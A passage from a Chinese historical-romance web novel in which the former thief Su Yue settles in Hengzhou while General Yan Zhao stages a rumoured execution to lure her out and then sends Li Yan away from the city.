“慎言,慎言。朝廷毕竟是朝廷,名分大义摆在那里。今天你打我,明日我打你,看似乱糟糟,可真有几个敢明着跟朝廷硬碰硬的?都是边打边看,边看边谈。明白人自然懂得这里头的分寸。” 消息像风一样刮遍了小小的清溪镇。 燕家军士兵甚至敲着锣沿街宣读告示:“为迎襄王嫡子……特开城门三日……”。 刘掌柜跑来叮嘱苗悦:“抓紧啊,姑娘。昨个是开城头一天,今儿第二天,明日可就是最后一天了。从咱这儿过去,脚程快些,一天怎么也能走到。这机会错过不知要等到何年何月了。” 阿芦亦是两眼发亮,兴奋地问:“阿姐,我们几时动身?” 苗悦将洗净的碗碟摞好,仔细收进碗柜。 这就对了。 即便她搞砸了一切,把任务弄得一塌糊涂,这天,也没有塌下来。 燕钊依旧是那个能权衡利弊的燕将军。他用开城三日向天下表明他的立场和选择。 有没有她苗悦,有没有那段记忆插曲,对他来说,并无不同。 李晏也依旧是那位心系社稷的襄王嫡子。 他们都在自己的轨道上继续前行。 由她这个微不足道的小人物引发的意外,或许让他们偏离了寸许,但强大的理智,又将一切拽回了正轨。 她有什么好躲的,她根本不重要。 她用布巾擦干手,转身对眼巴巴等着的阿卢说:“我们明早动身。” 放眼天下,处处硝烟。 数数盘缠,囊中羞涩。 除了衡州城,他们又能去哪里呢。 就在她做出决定的同一时刻,衡州城最高的箭阁之上,燕钊面朝南负手而立,落日熔金,为他挺拔的身形镀上一层暗红的轮廓。 箭阁是战时瞭望指挥及弓手据守之处。阁内四面洞开,劲烈的风穿堂而过,视野开阔。 燕钊垂眸望着下方南城门。 “衡州城有四门,唯有南门,专为初来乍到,欲在衡州落户之人所设,需登记身份,核验户籍。这两日从此门入城的人,比往日多了许多。”他略一停顿,“李大人仔细看看,她,可在其中?” 李晏走到他身边,向下望去。 拖家带口担着行李的百姓,牵着驮货牲口的行商,如不断涌动的洪流,在兵士的引导下进入这座日益繁盛的雄城。 “为引一人入城,便行此免捐纳客之举,闹得四方皆知百姓蜂拥,委实欠了考量。若有细作混入,或生事端,岂非因小失大。” 燕钊道:“若非李大人执意不肯坦言相告,我又何须出此下策。” 李晏神色坦荡:“非是我不愿相告,实是我的确不认识这个人。此事本应由我亲自处置,阴差阳错,才被她无意间闯入。我不知她姓名,亦不知其来历。事毕,她未能达成所托,我亦未支付酬劳,她早已自行离去。从始至终,我与她并无多余交谈。若非意外,我决计不会启用这等来历不明之人。” 燕钊不紧不慢地开口:“你不知她姓名,亦不知她来历,但你一定见过她的样貌。” 李晏眼睫微垂:“不过是一寻常妇人,带着个孙女,混于流民之中。若论长相,泯然众人矣。” 燕钊轻笑:“李大人,你不擅撒谎。在记忆世界中如此,现在亦如是。” 他身体微微前倾,双手扶在城垛上,目光重新投向墙下:“我与她,也算相处多年。不如我来说说我的猜测。” 他顿了顿,边回忆边缓道:“她有些阅历,亦有点手段,非十五六岁少女能有,年纪当在二十往上。喜着鲜嫩衣裳,嗜甜食,胃口颇佳。纵情享乐,不惜其身。信些话本里的荒唐故事,心性未全沉暮,应不及三十。” “她的招式流于市井,刁钻阴诡,难登大雅,必是出身不高。然吃穿用度绝不委屈自己,深谙享乐之道,显是见过钱的,只怕那些钱来路不正。” “她从长安千里而来,所为便是进衡州城。她身边有一人,名阿芦,非情侣非家人,却关系亲近。她若不是绿林,便是个有些道行的毛贼。长于长安,见过富贵,也练就了求生的手段。” 燕钊看向李晏,笑道:“李大人,可愿为我纠正一二?” 李晏见燕钊竟猜得七七八八,不由叹道:“燕将军能将她看得这般透彻,皆因你二人在记忆世界中相交颇深。既如此,你当比我更清楚她的性情为人。此事根由在我,她实是被无辜卷入。” 燕钊不语。 李晏好言劝道:“她无权无势,身无分文,从长安辗转至 此已是不易。即便她是有意接近你,可到头来,她也未曾真的害过你。若入衡州,将来亦是你的子民,何苦如此相逼?” “无辜。”燕钊咀嚼着这个词,“李大人倒是会为她开脱。若有人以诡秘邪物侵入李大人你的记忆,将你的过往当作戏台,将你的痛苦当作棋局,将你的……将你的情感也一并算计进去,最后还能全身而退。你可会当作无事发生?” 李晏道:“将军此言,是欲将我置于私怨之地。然晏身为朝臣,所思所虑,当为天下公义,而非一己私愤。若此人能为朝廷为百姓效力,过往些许冒犯,自可权衡轻重。你我身居高位,当有更高远的目光,去做更关乎社稷民生的大事。而非将诸多时日,无数人力,耗费在追寻一个小女子身上。” 燕钊笑起来:“大人心胸如此广阔,为何不去劝谏圣上,将那皇位拱手让与牛焘,既熄了战祸,也省了大人您东奔西走,拉拢能人异士,甚至不惜用上见不得光的邪物。” “燕钊!”李晏怒道,“注意你的言辞,注意你的身份。此等大逆不道之话,休要再说!” 燕钊了然道:“原来一旦触及自身根本,李大人也并非心胸广阔之辈。” 他语气平淡,字字如针:“我与李大人不同。我并非天生贵胄,没有生在云端,自然也没有那等高瞻远瞩的本事。我平生所看重的东西不多。燕家军的威名,将军的地位,这些固然重要,但对我而言,它们只是不得不扛起的责任,是我立足于世的根基。我真正放在心上的,是身边那些实实在在的人与情。” “她动的,偏偏是我最看重的东西。这件事,我绝不罢休。” 第84章 将军府东侧有一处不显眼的偏院, 院门常闭,少有人至。门内无匾,只廊下悬一块木牌, 上书“静思堂”三字。 堂内不设神像,不供香火。北面整墙嵌着一面木架, 上面排列着数十个方形木格。 每个格中, 都安放着一件旧物。 卷刃的刀, 生锈的箭簇, 染血的兵符, 磨边的水囊……每件旧物下方, 都立着一块小小的乌木牌, 上面用朱砂镌着一个名字。 这里供奉的不是神明祖宗,是那些再也回不来的人。 风吹过廊下的旧铃,发出空洞的呜咽声。 燕钊独自立在墙前, 用素白棉布擦拭着一柄短刃。 刃长七寸, 样式普通, 牛皮刀鞘磨出了温润光泽。 这是杨溪的随身之物。 记忆世界里的杨溪双眼不能视物,却能将晾到恰好的温茶递到他手边, 会在难得清闲的午后,坐在廊下与他说话, 会摸索着给他倒一杯酒。 那个杨溪,能说,能笑,能喝茶,能饮酒,带着温度地活着。 可现实是…… 燕钊唇角动了一下,像是一个未成形的笑。 真是荒唐。 他在那个虚幻的世界里过了那么久, 久到几乎要信了。 信杨溪还活着,信这些人还在。 天光又暗下去一分,堂内的阴影更浓了。 这时,有脚步声过来,在廊下停住,杜言低声道:“将军。” “进来。” 杜言推门而入,目光在满墙的木格上快速扫过,上前一步,道:“将军,您让属下查的那个朱小婉,身份已基本清楚了。” 记忆世界中,每一个被她附身的人都是他的亲近之人,最后结果都是死亡,唯有花锁儿特殊。 燕钊醒来第一件事,就是命人去查朱小婉与花锁儿的来历。 杜言道:“朱小婉就是去年夏祈节,在花酿酒中下毒的厨娘。” 燕钊想起来了。 现实中的昭宁公主死于自尽,所以夏祈节没有停。 去年的夏祈节,有个厨娘在花酿酒中动了手脚。那酒尚未呈上,便被当值的亲卫察觉了异样。 那厨娘提前在口中藏了毒,见事情败露,服毒而亡。 事发仓促,又隔着重重庭院,燕钊只知道有这样一件事,却未曾见过那厨娘是何样貌姓甚名谁。事后有报,说这厨娘是祝成锦心腹的遗孀,为夫报仇而来。 燕钊道:“我记得当时你说,她还有一个女儿。” “是。”杜言点头,“我们的人查抄其居所,确有一女童,但朱小婉行事前,先行毒杀了那孩子。属下当时以为,她们一家三口皆已身死,这件事便算了了。” 燕钊看着他:“所以?” 杜言微微垂首:“此次将军特意下令重查此人,属下便着人多查了一层。果然发现蹊跷。那女童并非朱小婉亲生,是她自老家来衡州的路上,捡到的孤女。入城登记时,她将其记在自己名下。她实则有一子,仍留在老家,由其祖父母抚养。这三人皆以为朱小婉夫君早在多年前就死于经商途中,对个中真相完全不了解。朱小婉将他们保护得很好。” 燕钊的眼神沉了沉:“那女童多大了?” “看身量大约十二三岁。”杜言道,“那女童应是她为亲生儿子,备下的一个幌子。” 堂内一时寂然。 过了许久,燕钊开口:“杜先生,你还记得石红玉吗?” 杜言道:“记得她射过我一箭,后来卢宁军投降后,她便整日呆在屋中,不大见人了。” 燕钊道:“她也是死在了临峣城破那日吧。” 杜言拧眉细想:“我当时没注意,应该是。” 燕钊道:“我的记忆有点混乱。我去刺杀燕九畴时,挡箭的人是燕无咎?” 杜言道:“是啊,所以六郎总是看你不顺眼。” 燕钊扯了扯嘴角,低声道:“挡箭的是无咎,受伤的是无咎……我的记忆,确实受到了影响。” 杜言心中疑窦丛生。 他跟随燕钊多年,深知这位主君心思深重,行事果决,绝非无的放矢之人。 重查一桩早已了结的旧案,追问已死之人的过往,扣留身份敏感的李晏,这几件事风马牛不相及。 他试探着开口:“将军近来可是发生了什么,属下不知的事?” 燕钊沉默片刻才道:“前几日,我做了一个很长的梦。若要细说,只怕要耽搁许久。” 杜言神色不变,微微颔首:“将军的事,便是杜某的事。将军愿意说,杜某洗耳恭听。既然说来话长,不若命人备些酒菜,将军慢慢说,杜某慢慢听。如何?” 燕钊弯唇,笑意淡淡:“好。” 他转身,离开房间,天光将他的身影拉长,投在满墙的姓名木牌上。 …… 苗悦带着阿芦,走了将近一天,来到衡州南城门。 这里比清溪镇热闹了何止百倍,车马辚辚,担着行李的各色人等排成了长龙,缓慢有序地向前移动。 兵士执锐肃立,虽人多,但并未见混乱与喧哗。 轮到他们二人时,苗悦取出户籍文书,递了过去。 这是离开长安前,她花银子托人置办的,当时图便宜,户籍落在了长安附近一个名为长乐县的小地方。 只是上面的名字,苗悦,苗芦,已经改不了了。 负责登录的官员仔细看了纸张和印鉴,又打量了一下苗悦和阿芦,再问几个例行公事的问题,末了,提笔蘸墨,在一块木牌上记下二人姓名来处等几个简单信息,又用印泥按了个指模在上方,递还给苗悦。 “三日后,凭此号牌领取户籍凭信。领了凭信,方可赁屋立契找工。记住了?” 苗 悦接过木牌,连声道谢。 走出登记的区域,正式踏入衡州城内。 衡州城连开三日城门,将南来北往的商旅流民一股脑儿吸了进来。 客栈一房难求,连大通铺的草席都论尺计价了。 苗悦并未像许多初来乍到者那样在入城口附近徘徊观望,而是带着阿芦,在街巷间七拐八绕,钻入一条与花家酒馆隔了两条街的颇为冷清的巷子。 这条巷子,她之前并未过多留意。那时她满心乐观,总以为自己多少能带着些银钱进衡州,寻个像样的落脚处。未曾想,现实与预想天差地别。 苗悦不想花钱住客栈,又租不起好地段的宅子,一路思索下来,想起了这条无人问津的小巷。 巷子狭窄,两侧的房舍也多是低矮老旧。 她在一处格局逼仄的小院前停下了脚步。 院子瘦长,像被人随手在两条屋墙间劈出的一道缝隙,前后不过七八步深,宽仅容两人并肩。 一扇单薄的木门,三间低矮的老屋,便是全部。 屋里空空荡荡,除了灰尘和经年的潮气,什么也没有。 但苗悦很满意。至少,门栓是结实的,屋顶的瓦片也算齐全,能遮风挡雨,足够她与阿芦生活了。 在牙人陪同下,她仔细查看了这处小院,指着屋中明显的破旧处,与那房东磨了半晌,将租金又压下几分。 一切谈妥,她直接付了三个月的租子,因为户籍尚未发下来又押了两个月租子。 当唯一的碎银换作铜板,沉甸甸地递出去后,苗悦身上只有四十几枚铜钱了。 她栓好院门,背靠着门板,缓缓舒出一口长气。 她用了五年时间从长安来到衡州,终于进了城,有了窝。待三日后拿到户籍凭信,他们就可以正大光明地找工了。 夕阳斜照,伴随着沉重缓慢的吱呀声,巨大的南城门缓缓合上。 为期三日的“欢迎仪式”彻底结束,衡州城恢复了它的森严壁垒。 李晏站在箭阁内,沉默地注视着下方。 不久前,他看到了那对姐弟在兵士指引下完成登记,领了木牌,随着人潮,像两滴水融入江河,转瞬便消失在纵横交错的街巷深处。 李晏就这般望着,自始至终,脸上没什么表情,只那负在身后的手,微微收紧了。 “今天是最后一日了。”李晏的目光依旧落在下方络绎不绝的入城人流上,“燕将军,三天时间,放进来这么多人,你打算如何安置?” 燕钊道:“衡州城百废待兴,各处都缺人手。这些人初来难免混乱,但只是暂时的。很快便会有人引导他们登记所长,按需分配,总能找到安身立命的活计。” 李晏道:“即便她真的入了城,如今这万千人涌入,衡州城可不小,你又如何能将她找出来。” 燕钊的目光也投向城内鳞次栉比的屋宇街巷,那里已经开始有星星点点的灯火。 他缓缓道:“李大人说得确实是个问题。这么多人,一个个去查,无异于大海捞针。” 他将视线收回,重新落在李晏身上,抱歉地笑道:“所以,可能要委屈一下李大人了。” 李晏眉头皱起,不满地直视燕钊,不知他又要做些什么,只觉得现实中的燕钊着实让人头疼。 第85章 苗悦打定主意, 在李晏离开衡州城之前,她绝不轻易外出,更不去人多的市集招摇。 她就像一只谨慎的鼹鼠, 决定先将自己的地洞打理妥帖,待风头过去再露头。 接下来的两日, 她与阿芦挽起袖子, 用清水擦拭屋梁墙壁。没有扫帚, 便折了墙角的野草, 捆扎成束。 打扫只是第一步。空空如也的屋子, 总得有些家什, 日子才能过下去。 购置是绝无可能的, 怀里那四十几个铜板,每一枚都得掰碎了花在刀刃上,比如明日的米粮。 苗悦趁着天色将晚未晚时, 带着阿芦在附近几条巷弄里闲逛, 寻找那些被弃置的破旧物件。 这家扔出来一个缺了腿的长条凳, 那家丢出来一个裂了缝的旧木盆,还有豁了口的陶罐, 歪斜的破门板…… 这些在旁人眼里毫无用处的破烂,经她的脑, 阿芦的手,便有了新的去处。 凳子腿卸下来,稍作修整,配上门板,用捡来的碎砖垫平,便成了一张简陋的桌子。 裂了缝的木盆,用水和了些泥, 将裂缝抹平,晾干后盛些不紧要的东西倒也使得。 豁口的陶罐,清洗干净,摆在墙角。在墙根无人料理的荒地上,挖回些叫不出名字的野菊种进陶罐,开着或白或黄的小花。 人忙起来,就不会想东想西了。 苗悦站在窄窄的院中,环顾四周。墙壁依旧斑驳,屋瓦依旧陈旧,但屋里屋外干干净净,几盆野花静静地开着,空地上不见杂草碎石。 两人互看一眼,见对方脸上花得东一道西一道,俱都笑起来。 苗悦心中那紧绷的弦,总算稍稍松快了些。 小院收拾停当的次日,便是领取户籍文书的日子。 苗悦换上了一身最不打眼的衣裳。 半旧的灰褐色窄袖短衫,同色系的扎脚裤,腰间用一根深色布带紧紧束起,脚上是一双结实的粗布鞋。 头发也如男子般,在脑后束成一个髻,用木簪固定。 这身打扮简单利落,便于行动,耐脏耐磨,走在人群里,毫不起眼。 顺路还要买些米面,便带上阿芦当劳力。 从冷清小巷走出来,穿过两条街道,周遭渐渐有了人气。 领文书的地方人很多,她等了许久才轮到,递上木牌,核对,盖章,过程顺利。 盖着鲜红官印,写着“苗悦”、“苗芦”等字样的户籍凭信递到苗悦手中,她小心地折好,放入怀里。 “走,咱们去买几个肉包子,割一小条肉,熬点汤喝。” 苗悦心情很好。领了文书,他们在这衡州城便算有了身份,能正大光明地去找工了。 也不知李晏离开衡州了没有?若是他走了,自己出门活动,也能更安心些。 包子铺前排着几个人,掌柜手脚麻利地收钱装包子。 轮到苗悦,她数出几个铜板递过去:“掌柜,来四个肉包子。”顿了顿,她随口闲聊般,问,“前阵子长安来的那位贵人,襄王家的……走了没有?” 那掌柜正低头折油纸,闻言头也没抬:“走什么走哟,脑袋都快分家了。” 排在苗悦后面一大爷说:“姑娘你才睡醒吧?外头都传遍了!” 苗悦感到不安,面上维持着笑容:“传遍什么了?” 那大爷神神秘秘地凑过来,压着兴奋:“那位贵人啊,是来刺杀咱们燕将军的,叫人当场拿住,今儿个午时三刻,西市口法场,开刀问斩。” 苗悦脸上的笑容瞬间僵住,褪得干干净净,难以置信道:“怎么可能?那可是襄王嫡子,他怎么会……” 大爷见她不信,更来了劲:“姑娘你还年轻,不懂,这叫知人知面不知心。越是那穿绸缎骑高马的贵人,肚子里那花花肠子越多。我可听人说了,箭头上绿汪汪的,淬了剧毒,见血封喉。要不是咱们燕将军那是天上星宿下凡,武艺高强,可就悬喽……” 后面排队的一个提着菜篮的婶子听不下去了,用胳膊肘捅了他一下,啐道:“行了啊老张头,就你话多。别人瞎传传,到你嘴里就跟亲眼看见似的,说得有鼻子有眼。那等大人物的事儿,是咱们能知道的。” 那大爷被怼了也不恼,反而得意道:“你还不信,是不是真的,咱们一会儿去西市口瞅瞅不就知道了。那法场周围,早就里三层外三层了。去晚了,连个人头影子都瞅不见喽,” 他招呼苗悦:“姑娘,不去瞧瞧热闹?这可是砍王爷的脑袋,一辈子见不着第二回。” 苗悦脑子里一片混乱。 李晏行事有章法,言谈有分寸。 他来衡州是为请燕钊出兵勤王,怎么可能用淬毒的箭行刺。 难道说记忆世界崩塌,燕钊震怒,将这笔账算在了李晏头上。 如果真是这样,那李晏岂不是受她牵连。 现实中的燕钊当真如此狠辣凶残,做事肆意妄为? 不可能的,她了解燕钊,他不是这样的人…… 如果她站出来,是不是能让燕钊住手。 不不,她凭什么让燕钊住手啊。 一大堆乱七八糟的念头从脑中闪过,还没成形,脚下已不受控制地动了起来。 她转身挤出人群,朝着西市口的方向,拔 腿就跑。 掌柜在后面喊:“姑娘,你包子!” “阿姐——”阿芦急得大叫,刚迈开腿,又想起包子,扭身冲到摊子前,抱上油纸包,朝着苗悦方向追去。 苗悦一路跑到了西市口。 此刻已是人山人海。临时搭起的高台四周,由神情冷肃的兵士层层把守。 百姓们踮着脚尖,伸长了脖子,嗡嗡的议论声不绝于耳。 “真杀啊?” “监斩官都坐那儿了。” “听说是个大人物。” “我的天,可是龙子凤孙……” “嘘——小声点,不要命啦。” “怕什么,反正都快死了……” 各种兴奋的,事不关己的私语,像无数只苍蝇,钻进苗悦的耳朵。 她心慌得厉害,死死盯着高台中央。 高台上,背对着苗悦方向,跪着一个身穿白色囚服头发披散的人,根本看不清面容。 是不是李晏?到底是不是? 苗悦急得在人群后面来回打转,试图找到一个能看清犯人正脸的角度。 周围人的表情或猎奇兴奋,或一脸麻木,没人真正在乎台上跪的是谁,为何而死。 似乎只有苗悦在乎。 她挤进人群,寻到一个个子矮小之人,视线从他头顶掠过。 阿芦抱着包子,在人堆外急得团团转,一声声的“阿姐”淹没在嘈杂里。 苗悦踮起脚,伸长脖子,眯着眼,努力朝台上看去。 阳光有些刺眼,她抬手挡了一下,却怎样也看不到犯人面容。 监斩官的声音响起,压过了全场的嗡嗡声。 “犯人蒋三魁,原襄州军逃卒,因戕害上官,携军械叛逃,流窜劫掠,祸害乡里,罪证确凿,斩立决。现已验明正身——” 人群发出失望的嘘声,有人陆续离开。 只有苗悦是开心的。 燕钊怎么可能砍李晏的头,他根本不是这样的人。 这种一听就假的消息为什么会传遍大街小巷,倒像是有人故意放出的风声。 故意…… 苗悦的心又悬了起来。 她四下看看,见那些兵士目不斜视,没人在意她这边,忙低了头,连退数步,退出人群。 她最近怎么了,接连冒失。 难道真像老贼头说的,她就是一个有点小聪明,手不够狠,心不够硬,成不了大器,只配当个普普通通的小老百姓,穷哈哈一辈子。 不能再这样了,冲动是致命的。 阿芦挤了过来,眼里满是担忧。 苗悦接过他怀里的油纸包,四个肉包子还热乎乎的。 “走,回家。” 她不再看那即将行刑的高台,快步离开。 刑场不远,临街的一座两层茶楼窗后,视野极佳。 燕钊立于窗前,目光如电扫视着台下黑压压的人海。 当那个灰扑扑不辨男女的人,如没头苍蝇般在人群后焦躁地来回奔跑,试图看清犯人面容时,他的目光微微停驻。 李晏就在他身侧,同样看到了那抹异于看客的身影。 那身影很努力地挤到前面,拼命要看清犯人样貌,待听到监斩官话语后,又如释重负,毫不犹豫地转身,拉着个半大小子,迅速离开,对即将开始的杀戮无半分留恋。 在看热闹的人群中,格外突兀,也格外清晰。 李晏忍不住露出了淡淡的笑意。 燕钊微微弯唇,侧头向杜言递去一个眼色。 杜言无声颔首。 燕钊的余光捕捉到李晏的表情,弯起的唇角顿时塌陷。 他忽然觉得这个局设得不好,像是给别人做了嫁衣,反倒让李晏挺高兴。 他冷道:“李大人心情很好?” 李晏心知,苗悦既露了面,即便事后反应过来,也必是跑不掉了,索性坦然道:“看到有人为自己的安危牵肠挂肚,总归是件值得高兴的事。” 燕钊下颌绷紧,后牙槽磨了一下,阴阳怪气道:“看来李大人与她情分不一般。不是说,没有多余交谈吗。” 李晏微微一怔。 这话怎么听着有股酸溜溜的味道。 他心思电转,目光在燕钊那明显沉下来的脸色上短暂停留,一个念头清晰起来。 燕钊不高兴了,因为苗悦是为了他李晏来的。 李晏叉手,缓缓道:“绕了这么大一个弯子,布了这样一个局,终于把人找出来了。燕将军应该比我更高兴才是。” 燕钊冷哼:“我自然高兴。” 李晏心下顿时了然。 看来燕钊对苗悦那份心思,并未因记忆世界崩溃而完全消散,多少留了一些。如此,苗悦落入他手中,应当也不会受太大苦楚。 想通此节,李晏心中对苗悦可能卷入危险的那份愧疚略有缓解。 他好言相劝:“她是个聪明人,更是个心性通透豁达之人。你开诚布公与她谈一谈,她未必不能像记忆世界中那样待你。可你三番两次对她设局,这般耍心机只怕会适得其反。” “你又不知道我要什么,哪来的适得其反。”燕钊硬邦邦怼了回去,“怎么,只许你们对我设局。” 李晏摇头叹道:“燕将军,你心性坚韧,杀伐决断,这是你的长处。可这份坚硬,不该用在人与人之间的情分上。人心不是城池,机关算尽,得到的只会是提防与疏远,这难道不是适得其反么?” 燕钊冷道:“李大人何尝不是机关算尽,怎么有脸反过来说我。我做事自有我的章法,不劳旁人费心评判。” 狗咬吕洞宾,不识好人心。 李晏别过头去,沉默片刻,忽然扎了一句。 “当她是昭宁公主时,我与她关系更近。你毫不在意,甚至允我出入她房间。怎么到了现实里,如此小心眼了?难不成,你也觉得现实中的你,不如记忆中的你,值得被她喜欢么?” 燕钊的脸色瞬间沉了下来,眼底凝出寒霜。 他盯住李晏:“李大人,我看你是快忘了,自己来衡州城的目的,究竟是什么。不知圣人在长安,还能坚持多久?” 李晏的手微微收紧:“将军何意?愿意出兵了?” “我可没这么说。”燕钊直起身,恢复了一贯的冷峻,“我只是提醒李大人,莫要因为一些无关紧要的人与事,耽误了正事。” “衡州城小,容不下天潢贵胄。”他转身下楼,“请李大人,明日日落之前,离开衡州。”—— 作者有话说:祝大家新年快乐。感谢小天使们一路相伴,本章发红包~ 第86章 法场乌龙过后, 当日下午,衡州府衙外的布告墙上,便贴出了一张盖着官印的告示。 “日前坊间流传, 有贵人意图对燕将军不利,并于今日法场伏法一事, 经查, 纯属子虚乌有, 恶意捏造。此等谣言, 不惟中伤贵客清誉, 更扰乱衡州秩序, 蛊惑人心, 其行可鄙,其心当诛。即日起,严查谣诼之源。凡有蓄意散布, 以讹传讹, 扰乱治安者, 一经查实,定以妖言惑众论处, 决不轻饶。” 几乎是告示贴出的同一时刻,城中几个平日里就好打听消息散播言论的闲汉, 便被挎刀兵士请走了。 据说,这几人在衙门里领了十大板,屁股开了花,天黑前就被撵了出来,个个龇牙咧嘴,赌咒发誓再也不敢胡咧咧了。 一场险些引起恐慌的谣言,就这样被雷霆手段掐灭了。 苗悦知道消息时, 已经是第二日午后。 房东遣管事来查验户籍文书,顺便退还押金,闲聊时将这事说了出来。 “燕将军还在府里设了饯行宴,给那位贵人压惊,请了咱们衡州城最红的乐班。班主都说了,长安来的贵人,当真是龙章凤姿,气度非凡,和咱们燕将军推杯换盏,宾主尽欢。” 苗悦道:“饯行宴?贵人要离开了吗?” “今儿个午后,已经动身了。燕将军亲自把人送出城门,两人并辔而行,有说有笑的……哦,就是离 得远,听不清说啥,但那模样,可亲热着呢。大家伙都瞧见了。我早就说,都是些没影儿的瞎话。” 苗悦暗笑自己瞎担心,谁会为她这么个小人物劳神费力铺张浪费。 她笑道:“将军这般处置造谣者,再好不过了。” 那管事完成了查验,又分享了这么大个新闻,心情颇好:“姑娘你安生住着就是。这衡州城,有燕将军在,乱不了。” 送走了心满意足的管事,苗悦合上院门。 她就知道燕钊不是那样的人。 他或许手段酷烈,或许杀伐果断,可他绝非那种因一时喜怒或一点冒犯,就不计后果地滥杀之人。 李晏走了,平安离开了衡州。 笼罩在苗悦心头最大的那片阴云,随着那远去的车马,暂时散开了。 两个时辰前,南城门,旌旗招展。 燕钊与李晏并辔而行,身后是甲胄鲜明的亲卫仪仗,声势煊赫。 威震一方的燕将军,正亲自为长安来的贵客送行。 道路两旁挤满了瞧热闹的百姓,踮着脚,伸着脖子,望着这难得一见的场面。 阳光有些刺眼。 李晏玉白的脸上,带着温和疏离的笑,目光似不经意地扫过两侧攒动的人头。 没有看到想看的人,不免失望。 燕钊余光瞥见,心中顿生不悦,冷声冷调:“李大人在我这里碰了壁,下一步准备找谁去?萧世权还是张邠阳?”他语带讥诮,“好心提醒大人,那些不入流的把戏趁早收了,不是谁都如我这般宽宏大量。” 李晏道:“燕将军若真宽宏,何不接受在下的提议?天下翘首以盼者,莫过于将军的态度。” 燕钊扯了下唇角:“李大人,不觉得你的行径很危险吗。朝廷连一支像样的军队都凑不出,却妄想号令百万雄师。一个千疮百孔的朝廷,能吸引来的,未必是盟友。” 李晏一字一句:“我不是来寻盟友的。拱卫社稷,乃人臣本分。我找的,是忠君的臣子。” 燕钊道:“燕某坐镇衡州,一不求开疆拓土,二无意冒犯天颜。只守着自己的一亩三分地,让辖下百姓有饭吃。不给朝廷添乱,不去趁火打劫,这还不够忠君吗?” 李晏道:“忠有大小之分。守境安民,不滋扰地方,此为小忠。赴公义,安天下,此为大忠。若四方节镇皆如将军所言,只求自守,而无一人愿为朝廷纾难,为天子分忧,纲纪何在?正统何存?” 燕钊轻笑:“李大人真是好口才。可这天下,不是靠口舌就能守住的,需要实实在在的流血牺牲。” 他目光扫过前方硕大的“燕”字旗。 “我燕家军的兵,每一个都有名有姓,是父母辛苦养大,指望他们顶门立户的好儿郎。他们的命,比长安城那些无能的贵人重要的多。” 他看向李晏:“聪明人要么趁势而起,要么明哲保身。像李大人这般四处奔走,试图去扶一座将倾之厦,明知不可为而为之的,倒真不多见。冲着你这份旁人没有的执拗,先前那些算计我的小动作,我可以不计较。但想让燕某出兵,不可能。” 城门近在眼前。 “今日出得此门,大人自求多福。”他语气平静,“若他日你侥幸未死,燕某倒是很愿意请李大人来我燕家军效力。” 城门洞开,天光刺眼。 燕钊的话,伴着旷野的风,一同灌了进来。 李晏没有再开口,只迎着那风,轻轻一抖缰绳。身后寥寥数名护卫,沉默地跟上。 李晏离开后,苗悦又悄无声息地蛰伏了几日。 眼见城中秩序渐复,开城那三日涌入的新面孔,大多已有了营生,安顿下来,就连阿芦都找到了活计。 他在一家大车店里,当了个打杂的小伙计。天亮前就要到店,帮着卸草料、喂马、清扫马厩和通铺,白天帮客人搬运行李,跑腿送东西,天黑了还要再看一会儿门。 工钱低得可怜,一个月只有一百五十文,店里只管两顿饭,不管住。 苗悦一听这工钱,眉头就皱了起来。 “这不就是欺负你年纪小,人老实吗。” 阿芦自己却高兴得很,每天摸黑出门,披星戴月回家。 “掌柜的说我手脚勤快,不偷懒,而且每天都能看见好多人,好多马,可热闹了,能学到东西。” 苗悦看他开心,也就由他去了。 又按兵不动两日,生活一切如常,苗悦也按捺不住,开始出门走动。 她去了牙行。 牙行临街,门脸不小,里面是个开阔的大堂,站了不少人。 大堂正对门的那面墙,挂满了长条木牌,上面用墨笔写着招工或求工信息,密密麻麻全是字。 最近入城的人太多,伙计忙不过来,便在角落设了个简陋的木架,架上悬着空白小竹牌,供人自行书写信息。 苗悦对着挂满字的墙,仔细看了一圈,心便凉了半截。 好工作早被抢走了,余下的都是些入府的丫鬟长工,酒楼茶肆的杂役,浆洗缝补的妇人。 要么签身契,入了府便不自由,要么是些洒扫跑腿的零工,工钱被压得极低,仅够一人糊口。 她是想金盆洗手,不再靠偷窃过活,可也没打算去给人当牛做马,累死累活还吃不饱饭。 挑来拣去,她发现唯有镖师、护院、行商护卫这类行当,给的酬劳还算可观,且相对自由。 她自忖有些身手,也懂些江湖门道,最合适不过。 可这些木牌下头,无一例外,都限男子。 苗悦皱眉,琢磨片刻,走到角落,取下一块空白竹牌,又向伙计借了笔墨,在竹牌上一笔一划,写下几行字。 “求工:女护卫。身手尚可,略通江湖事,熟悉南北路。可为各家小姐夫人,提供上香出游探亲等行程贴身护卫。工钱面议,可按日、按程结算。” 写罢,她将竹牌挂到墙上,在满眼“寻厨娘”、“觅绣娘”、“雇车夫”的牌子中,她这“女护卫”,显得有点突兀。 付了挂牌的钱,她便离开了。 等是等不来机会的,她得自己想想法子,总不能坐吃山空。 她前脚刚走,后脚一个相貌平平衣着简朴的汉子,从人群里分开,走到木牌墙前,把苗悦刚刚挂上去的竹牌摘了下来。 他拿着竹牌走到柜台,对伙计说了些什么,又从怀里摸出铜些钱递了过去。 伙计接过钱,看了眼那汉子,又瞥了眼牌子,点了点头。 苗悦从牙行出来,沿着大街漫无目的地走,把一身本事翻来覆去地掂量,越想越觉得除了偷东西,竟没一样拿得出手的。 她穿来时刚刚十三岁,才脱离小学,穿来后的十六年,除了偷盗之外,就只练出了在战乱中东躲西藏的本事。 她抄着手,苦恼该怎么用不合法的本事合法地赚钱。 走着走着,眼皮一抬,见对面过来个男子。 男子得有三十多岁了,穿一身料子挺括颜色鲜亮的锦袍,腰间挂了一串,玉佩、香囊、荷包,叮叮当当地坠着,透着股家境优渥,没经过事的轻浮劲儿。 大概是个衡州本地富户家养出来的公子哥。 两人错身而过时,苗悦手指一勾,那男人腰间便少了两样东西。 苗悦脚步不停,走出两步,镇定地转身,扬声唤道:“这位公子,请留步。” 那男人闻声回头,见叫住自己的人穿着男装,头发也束成男子发髻,可眉眼清丽,脖颈细白,下巴尖巧,耳垂小小,分明是个姑娘,还是个顶好看的姑娘。 男人眼睛一亮,立刻堆起笑容,语气格外柔和:“姑娘叫住在下,是有何事?” “公子是不是丢了东西?” 男人下意识低头,脸上闪过惊色。 苗悦走上前,摊开手心,将玉佩和荷包递还给他。 男人收下东西,又看看苗悦,眼珠转了转,嘴角浮起意味深长的笑,拖着尾音:“姑娘这是……何意啊……” 苗悦忽然想起,其实除了偷盗,她美人计用得也是不错的。 她也朝他弯唇笑了,这一笑,眉眼舒展,有种冰雪初融春花乍 绽的生动。 那男人看得一呆,眼神都有些直了。 